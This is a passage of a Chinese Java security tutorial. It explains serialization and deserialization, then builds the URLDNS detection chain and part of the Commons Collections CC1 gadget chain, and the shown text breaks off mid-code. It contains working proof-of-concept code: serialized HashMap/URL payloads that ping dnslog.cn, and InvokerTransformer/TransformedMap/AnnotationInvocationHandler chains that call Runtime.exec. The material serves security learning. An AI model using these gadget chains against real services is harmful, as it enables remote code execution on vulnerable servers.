前言
如同标题一样, 本篇文章会介绍反序列化漏洞的基本原理,以及分析三种反序列化链路:URLDNS, CC, CB.
其中CC链附上一条笔者挖的链路, 有兴趣可以看一下, 当然没兴趣就算了. (PS: 有CC1~7的知识点就够了)
前置知识也就是笔者之前发表的《JAVA安全 | Classloader:理解与利用一篇就够了》, 建议理解 ClassLoader 之后再来学习反序列化。
本篇文章目录如下:
基本概念
其中序列化, 反序列化
这两者的概念, 我们可以通过一张图进行解释:
序列化则是将 Java 中的对象将其变为一串二进制数据, 可以存储在数据库,文件,内存中.
而反序列化则是将这些二进制数据,重新还原成 Java 对象的一个过程.
序列化 | 反序列化是发生在"对象"身上的, 故我们无法序列化 static 类型的属性, 因为 static 属性是绑定在类上的.
序列化 | 反序列化 测试
那么我们在 Java 中如何使用序列化 | 反序列化
呢?
-
编写一个类, 实现
Serializable
接口 -
在该类中添加
private static final long SerialVersionUID
属性.
笔者在这里准备一个用于测试序列化|反序列化
的Java环境
:
pom.xml
:
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.30</version>
</dependency>
</dependencies>
随后准备一个JavaBean
:
package com.heihu577.bean;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.io.Serializable;
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String name;
private int age;
}
编写测试类:
public class T1 {
@Test
public void writeObj() throws Exception {
Person heihu577 = new Person(1, "heihu577", 12);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./heihu577.dat")));
oos.writeUTF("HELLO WORLD"); // 写入字符串 HELLO WORLD
oos.writeObject(heihu577); // 写入 heihu577 对象
}
@Test
public void readObj() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
Person person = (Person) ois.readObject(); // 读取 hihu577 对象
System.out.println("Msg: " + msg + ", Person: " + person); // Msg: HELLO WORLD, Person: Person(id=1, name=heihu577, age=12)
}
}
其中writeObj
可以写入字符串与对象, 其中生成二进制文件的格式遵循Java规范, 具体可以参考官方文档: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
那么上述运行结果如下:
Serializable 接口
我们可以观察一下Serializable
接口中的注释信息:
当我们在Person
类中定义了这些方法时, 例如:
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private int id;
private String name;
private int age;
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
System.out.println("反序列化中...");
}
private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
System.out.println("序列化中...");
}
}
那么当我们调用ObjectOutputStream::writeObject
方法时, 也会调用Person::writeObject
方法.
当我们调用ObjectInputStream::readObject
方法时, 也会调用Person::readObject
方法. 这里过程就不演示了.
具体原因可以查看 readObject 源码分析: https://blog.csdn.net/lpcInJava/article/details/134776113
https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yub4jE8YGCRzmeD
程序员定义 readObject & writeObject 原因
那么程序员在什么时候会定义readObject
并编写程序员的代码段呢?我们使用下面的案例来解释:
public class Main2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setId(1);
person.setUsername("Zs");
serialize(person); // 序列化时 id=1, username=Zs. 但经过自定义 writeObject 处理后值为 id=2, username=Zs ~~~
Person person01 = unserialize();
System.out.println(person01); // 反序列化时, 直接调用 readObject 方法, 对其进行赋值操作.
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String username;
// 提供 getter && setter && toString 方法
private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
out.writeInt(id + 1);
out.writeUTF(username + " ~~~ "); // 自定义序列化规则
System.out.println("我进来了, 我是序列化");
}
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
System.out.println("我进来了, 我是反序列化.");
this.id = in.readInt(); // 自定义反序列化赋值规则
this.username = in.readUTF();
}
}
我们可以看到的是, 自定义writeObject & readObject
接口方法可以自定义序列化与反序列化的规则. 当然了, 如果我们定义一个空的readObject
方法会怎么样, 我们不妨一试:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person); // 序列化时, 是带着属性值序列化的
Person person01 = unserialize();
System.out.println(person01); // 而因为自定义了 readObject 方法, 所以这里的结果是 Person(name=null, age=null), 没有任何属性
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private String name;
private Integer age;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {}
}
可以看到这里由于定义了自定义readObject
方法, 所以这里反序列化时, 无法成功从二进制文件中读取到name & age
属性的值.
如果我们将该readObject定义成这样, 将可以从二进制文件中得到name & age
的值, 并可以成功赋值:
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // readObject 方法的第一行调用默认的处理机制
}
transient 阻止指定字段序列化
当一个成员属性使用transient
修饰时, 那么该成员属性是不允许序列化的, 测试如下:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person);
Person person01 = unserialize();
System.out.println(person01); // Person(name=null, age=12)
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private transient String name; // 定义 name 不允许序列化
private Integer age;
}
而如果想要transient
修饰的字段也参与序列化, 那么也需要重写writeObject & readObject
方法, 在里面进行定义序列化|反序列化
的规则:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person);
Person person01 = unserialize();
System.out.println(person01); // Person(name=我是自定义的写入规则~heihu577, age=12)
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private transient String name;
private Integer age;
private void writeObject(java.io.ObjectOutputStream out) throws IOException {
out.defaultWriteObject(); // 调用默认的写入是为了写入 age 成员属性
out.writeUTF("我是自定义的写入规则~" + this.name); // 写入 name
}
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 调用默认的读取是为了读取 age 成员属性
this.name = in.readUTF(); // 读取 name
}
}
可以看到的是, 虽然name字段被transient
修饰了, 但是我们依然可以通过自定义writeObject & readObject
进行操作name.
当然, 被 static 修饰的字段也不会被序列化, 因为 static 是基于类的, 这一点毋庸置疑.
serialVersionUID 有什么用
那么为什么必须要定义serialVersionUID
也是有讲究的, 我们定义如下代码进行测试:
可以看到, 似乎serialVersionUID
对我们序列化 & 反序列化
并无影响, 但是此时我们试图对Person
增加一个成员方法, 然后再进行反序列化测试:
可以看到的是, 如果一个类没有定义serialVersionUID
, 那么Java会默认通过当前类结构
给该类生成一个serialVersionUID
, 随后在你writeObject
时写入到你的二进制文件中.
当进行反序列化时, 仍然没有定义serialVersionUID
成员属性时, Java会通过当前类结构重新计算serialVersionUID
, 对你的二进制文件中的serialVersionUID
进行比对, 若一致, 那么可以成功反序列化, 若不一致, 那么将不允许反序列化.
那么当我们加上serialVersionUID
, 与其我们二进制文件中的serialVersionUID
一致, 看一下是否可以反序列化成功:
所以一般程序员在实现了Serializable
接口时, 会顺手定义serialVersionUID
, 以免在版本更新等因素修改了类的结构, 从而导致更新前的序列化文件失效.
ObjectInputStream::resolveClass 加载类
我们知道的是,ObjectInputStream::readObject
方法可以通过读取序列化二进制文件, 从而将序列化中的对象反序列化回来, 既然加载的是对象, 那它肯定需要在加载对象之前加载该对象所指明的类, 而加载类的过程被放入在了ObjectInputStream::resolveClass
中, 我们可以看一下该方法是如何定义的:
而当我们继承ObjectInputStream
, 重写resolveClass
方法, 就可以自定义类加载规则.
那么我们定义如下DEMO进行看一下:
public class Demo {
public static void main(String[] args) throws Exception {
DemoClass demoObj = new DemoClass();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 将序列化的值放入到内存中
new ObjectOutputStream(byteArrayOutputStream).writeObject(demoObj); // 序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
new MyObjectInputStream(byteArrayInputStream).readObject(); // 读取对象, 会调用到 MyObjectInputStream::resolveClass
}
}
class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
System.out.println("要加载的类名: " + desc.getName());
return super.resolveClass(desc);
}
}
class DemoClass implements Serializable {
String name = "heihu577";
}
最终运行结果:
要加载的类名: com.heihu577.DemoClass
只要稍微修改一下MyObjectInputStream::resolveClass
的加载逻辑, 就可以自定义加载类.
Externalizable 接口
Externalizable
与Serializable
接口还是有区别的, 我们知道的是,Serializable
接口有默认的序列化|反序列化
处理机制, 而Externalizable
是没有的, 我们可以看一下这两个接口的区别:
public interface Serializable {}
public interface Externalizable extends java.io.Serializable {
void writeExternal(ObjectOutput out) throws IOException;
void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}
我们可以看到的是,Externalizable
必须实现writeExternal & readExternal
方法. 而Serializable
接口中readObject & writeObject
的定义是程序员自定义的.
这也就意味着实现Externalizable
接口程序员必须在writeExternal & readExternal
中指明其序列化 | 反序列化
规则, 这一切都由程序员定义, 因为没有了默认处理规则, 自然Externalizable
也不需要使用serialVersionUID
进行思考兼容性问题.
无参构造
定义如下代码:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person(); // 进入一次无参构造
person.setName("heihu577");
person.setAge(12);
serialize(person);
Person UnserPerson = unserialize(); // 进入一次无参构造
System.out.println(UnserPerson);
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
class Person implements Externalizable {
private String name;
private Integer age;
public Person() { // 定义的该构造器访问修饰符必须为 public
System.out.println("进入无参构造...");
}
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(name);
out.writeObject(age);
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
name = (String) in.readObject();
age = (Integer) in.readObject();
}
}
可以看到的是, 实现了Externalizable
的类, 对象进行反序列化时会自动进入一次构造方法.
Externalizable和Serializable的区别
实现Serializable接口是默认序列化所有属性,如果有不需要序列化的属性使用transient修饰。Externalizable接口是Serializable的子类,实现这个接口需要重写writeExternal和readExternal方法,指定对象序列化的属性和从序列化文件中读取对象属性的行为。
实现Serializable接口的对象序列化文件进行反序列化不走构造方法,载入的是该类对象的一个持久化状态,再将这个状态赋值给该类的另一个变量。实现Externalizable接口的对象序列化文件进行反序列化先走构造方法得到控对象,然后调用readExternal方法读取序列化文件中的内容给对应的属性赋值。
好文推荐: https://blog.csdn.net/qq_43842093/article/details/127437652
反序列化漏洞入门
当我们的一个正常类中, 定义了readObject
方法时, 若方法体中的运行代码不安全, 则会造成反序列化漏洞, 如下:
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String name;
private int age;
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc"); // 弹出计算器
}
}
那么当我们执行如下代码就会弹出计算器:
@Test
public void readObj() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
Person person = (Person) ois.readObject(); // 读取 heihu577 对象
System.out.println("Msg: " + msg + ", Person: " + person);
}
所以这里如果我们如果想要挖掘出存在反序列化漏洞的类时, 是需要查看该类是否定义了不安全的readObject方法
, 或者该readObject
方法最终的走向是危险的, 例如:A::readObject -> B::某方法 -> C::危险方法
, 这样也可以达到一个反序列化漏洞的效果.
URLDNS
如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成.
HashMap
在Java
中存在Map
数据类型, 我们知道的是, Map 中存在许许多多的Entry
. 当然, 程序员为了能让Map
这个复杂的数据类型支持序列化|反序列化
, 自己重写了writeObject & readObject
方法, 因为Map
本来就是Java开发者定义的一种键值对的数据类型. 那么我们先看一下HashMap
的writeObject
流程. 我们准备如下代码进行研究:
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<String, String> map = new HashMap<>();
map.put("name", "heihu577");
serialize(map);
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Map) ois.readObject();
}
Map.put 方法做了什么
在研究之前, 我们先看一下大体上Map.put
方法做了一些什么操作, 因为这里面的一些成员属性参与到了后期的writeObject
操作中.
因为篇幅有限, 这里并不方便把整个HashMap
的原理放出来, 具体可以参考: https://zhuanlan.zhihu.com/p/705241238
在这里我们只需要知道table
这个属性存放的是我们实际的数据, 它是一个Node<Key, Value>
数组:
从上图可以看到, 当我们运行完Map.put
方法之后, 该数组中会增加一组键值对.
自定义 writeObject
那么接下来我们分析writeObject
方法, 看一下该方法到底做了什么.
到这里我们知道的是, 原来HashMap
中的Key & Value
也是参与了writeObject
操作的.
自定义 readObject
那么我们看一下readObject
做了什么事情:
这里我们需要注意的是hash
这个方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这个方法会调用Map中Key
的hashCode
方法. 那么这里可以作为一个切入点进行深度挖掘.
URL
在URL中定义了hashCode
方法, 而这个方法是可以发送DNSLOG请求的:
最终调用了getHostAddress
方法, 这个方法可以发送DNSLOG请求. 所以这是一个完整的链路.
问题是handler
是在哪里进行初始化操作了?实则是在构造器, readObject 方法中都有定义, 我们看一下这个初始化操作方法:
public URL(String protocol, String host, int port, String file,
URLStreamHandler handler) throws MalformedURLException {
// ... 其他代码
if (handler == null &&
(handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
throw new MalformedURLException("unknown protocol: " + protocol);
}
this.handler = handler;
}
private synchronized void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// ... 其他代码
if ((handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
throw new IOException("unknown protocol: " + protocol);
}
}
所以我们无需担心handler
是否为空问题. 一旦URL::hashCode
方法被调用, 那么将直接发送一次网络请求. 而我们刚刚分析的HashMap
类的readObject
方法中, 是存在hashCode
的调用的, 所以这里我们将其调用URL::hashCode
就可以发送一次网络请求了.
发送DNSLOG测试
下面我们通过这段代码可以发送一次DNSLOG请求:
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, String> hashMap = new HashMap<>();
hashMap.put(new URL("http://lg3swn.dnslog.cn/"), "heihu577");
}
最终DNSLOG收到结果:
但是我们并不希望在我们构造POC
时发送网络请求, 所以这里我们需要在构造POC时, 通过反射进行修改掉URL
这个类的hashCode
, 将其不等于-1即可, 如下:
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
/*
private int hashCode = -1; 这里默认是 -1, 我们需要将其修改为其他值
public synchronized int hashCode() {
if (hashCode != -1) 为了进入该判断, 直接返回 hashCode, 否则走到下面将发送网络请求
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
* */
hashMap.put(url, "heihu577");
这样我们在本地构造HashMap对象
时就不会发送网络请求了, 而由于反序列化时由于hashCode
已经被修改了, 所以这里反序列化时并不会发送DNSLOG请求. 我们看一下解决办法.
反序列化测试
首先我们生成POC
到本地磁盘:
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, "heihu577"); // put 进去时, hashCode 为 0, 在里面调用 hashCode 方法, 不会发送DNSLOG请求.
hashCode.set(url, -1); // put 完了, 再改回 -1, 以免我们序列化的 hashCode 被替换为 0. 下一次反序列化时就会发送 DNSLOG 请求.
serialize(hashMap); // 运行后 D:/heihu577.ser 将生成出来
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
随后我们直接进行反序列化:
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
unserialize(); // 调用直接发送 DNSLOG 请求.
}
public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Map) ois.readObject();
}
最终会收到DNSLOG请求:
最终调用流程图:
Apache Commons Collections
前置环境准备
为了研究CC链
, 我们需要在这里准备一个低版本的JDK
用于学习, 笔者在这里使用的JDK版本
为jdk1.8.0_65
:
E:\Language\Java\jdk1.8.0_65\bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)
除了准备低版本的JDK
之外, 由于rt.jar!/sun
下的包均为字节码文件, 所以我们需要去 https://hg.openjdk.org/ 去下载JDK
下的sun
源码文件, 否则当我们调试时会出现变量名随机等问题, 在我们看源代码时不方便. 如图:
本地SDK源码
下载: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 (下载不了挂VPS下)
下载完毕之后, 按照如下操作:
操作完毕之后, 我们sun目录
下就可以看到.java
的源代码了:
随后在pom.xml
文件中进行引入含有漏洞版本的CC:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version> <!-- CC3 -->
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version> <!-- CC4 -->
</dependency>
<!-- 分析具体版本, 切换到具体版本 -->
</dependencies>
为了后续的方便, 在这里按住Ctrl+Alt+Shift+F7
, 进行设置我们的Alt+F7
查找的内容:
文章中, AAA 链路...俗称 BBB, AAA 指Commons Collections
具体版本号, BBB 指ysoserial
中的俗称.
CC3 链路 (版本1) jdk1.8.0_65 俗称 CC1
CC中存在一个org.apache.commons.collections.Transformer
接口, 该接口定义了方法:
public interface Transformer {
public Object transform(Object input);
}
定义了一个transform
方法, 按住Ctrl+h
查看谁实现了该接口:
InvokerTransformer::transform 危险方法
InvokerTransformer
这个类是可以序列化的, 并且重写了transform
方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.
以下代码是理解案例:
Person person = new Person();
InvokerTransformer invokerTransformer = new InvokerTransformer("sayHello",
new Class[]{String.class}, new Object[]{"Heihu577"}); // 调用 sayHello 方法, 参数类型为 String 参数值为 Heihu577
Object transform = invokerTransformer.transform(person); // Hello: Heihu577
/* Person 类如下:
public class Person { // 这里必须由 public 修饰, 否则将报错
public void sayHello(String name) {
System.out.println("Hello: " + name);
}
} */
那么通过这样我们可以调用一个计算器出来:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器
TransformedMap::checkSetValue 链式调用
我们需要查看谁调用了InvokerTransformer::transform
方法, 最终结果如下:
可以看到的是TransformedMap::checkSetValue
方法调用了InvokerTransformer::transform
方法, 此时我们可以把关注点放在TransformedMap::checkSetValue
上, 本地模拟调用一下该方法, 看一下是否可以成功弹出计算器.TransformedMap
构造器的定义为:
public class TransformedMap
extends AbstractInputCheckedMapDecorator // 注意这个类, 待会儿下面会有调用关系.
implements Serializable { // 可以被序列化
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
}
可以看到的是, 虽然该类的构造器是protected
, 但该类提供了一个static
方法, 可以使我们创建该类的实例, 但是由于checkSetValue
方法是protected
修饰的, 所以这里我们需要使用反射调用一下, 准备测试代码如下:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime); // 将 runtime 对象传递过去
运行将弹出计算器.
AbstractInputCheckedMapDecorator::setValue 链式调用 (抽象类)
可以看到AbstractInputCheckedMapDecorator
这个类调用了parent.checkSetValue
方法, 那么我们看一下AbstractInputCheckedMapDecorator
这个类:
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { // AbstractMapDecorator 实现了 Map.Entry, 是一个封装好的键值对类
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}
public Set entrySet() {
if (isSetValueChecking()) { // true 为永真
return new EntrySet(map.entrySet(), this); // Map 数据类型迭代前都需要得到 EntrySet
} else {
return map.entrySet();
}
}
static class EntrySet extends AbstractSetDecorator { // AbstractSetDecorator 实现了 Set, Set extends Collection, Collection<E> extends Iterable<E>, 所以这里 EntrySet 是一个 Iterable, 必须实现 iterator 方法
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent); // 遍历时调用这里, collection 是父类定义的
}
}
static class EntrySetIterator extends AbstractIteratorDecorator { // AbstractIteratorDecorator 实现了 Iterator, 可自定义迭代规则.
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent); // 当迭代时, 会调用到这里
}
}
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value); // 迭代时可手动调用 checkSetValue 方法
return entry.setValue(value);
}
}
}
可以看到的是, 这个AbstractInputCheckedMapDecorator
类是一个抽象类, 并且提供了entrySet
方法, 也就是说, 这个类是Map
中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap
类. 该类其中的MapEntry
类继承了AbstractMapEntryDecorator
类, 而AbstractMapEntryDecorator
类实则上也是实现了Map.Entry
, 定义如下:
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {}
public interface Map<K,V> {
interface Entry<K,V> {
V setValue(V value);
// ... 其他
}
// ... 其他
}
所以我们可以通过遍历调用setValue
方法进行传递我们的Runtime对象
, 然后setValue
调用checkSetValue
,checkSetValue
调用transform
从而实现了攻击链路, 本地测试脚本如下:
Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
entry.setValue(runtime); // 循环调用 setValue
}
运行可以弹出计算器.
AnnotationInvocationHandler::readObject 入口方法
那么谁会调用setValue
方法呢?我们使用Alt+F7
进行查找:
最终在AnnotationInvocationHandler::readObject
中成功发现了调用setValue
方法的代码块, 而readObject
方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject
方法,AnnotationInvocationHandler::readObject
方法定义如下:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type; // 需要转入注解
this.memberValues = memberValues; // 传入 Map 类型
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); // AnnotationType 类用于获取一个注解
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 判断该注解的属性
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
AnnotationType.getInstance
方法用于获得一个注解, 下面的annotationType.memberTypes()
用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行, 这里我们可以选择使用@Retention
,Retention
注解定义如下:
public @interface Retention {
RetentionPolicy value(); // 只有一个 value
}
而根据如下代码段的逻辑:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); // 得到我们外部传递 map 的 key, 这里最好传入 key 的值是 value
Class<?> memberType = memberTypes.get(name); // 因为 Retention 只有 value 属性, 所以这里我们只可以传入 key 的值是 value 的 map 才可以不为 null.
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.
}
}
}
我们可以看到, 这个代码块对memberValues
进行遍历, 并进行setValue
操作, 而memberValues
又是在构造器中是可控的. 由于这个类不是public, 所以我们需要使用反射解决:
public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); // 这里 runtime 并没有传入
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // 使用 value, 硬性规定
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(invocationHandler);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
但代码运行后会抛出异常:
原因则是AnnotationInvocationHandler::readObject
方法中的memberValue.setValue(new XXX)
中调用的值并不可控! 此时应该怎么办呢.
ConstantTransformer::transform 返回任意值
此时我们不妨重新找一下其他的实现了Transformer
接口的其他可利用的transform
方法.
发现ConstantTransformer
类, 这个类定义的transform
方法不管传入什么内容, 都会返回自定义任意值的一个方法. 这个方法挺有意思, 我们可以做一下测试:
public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
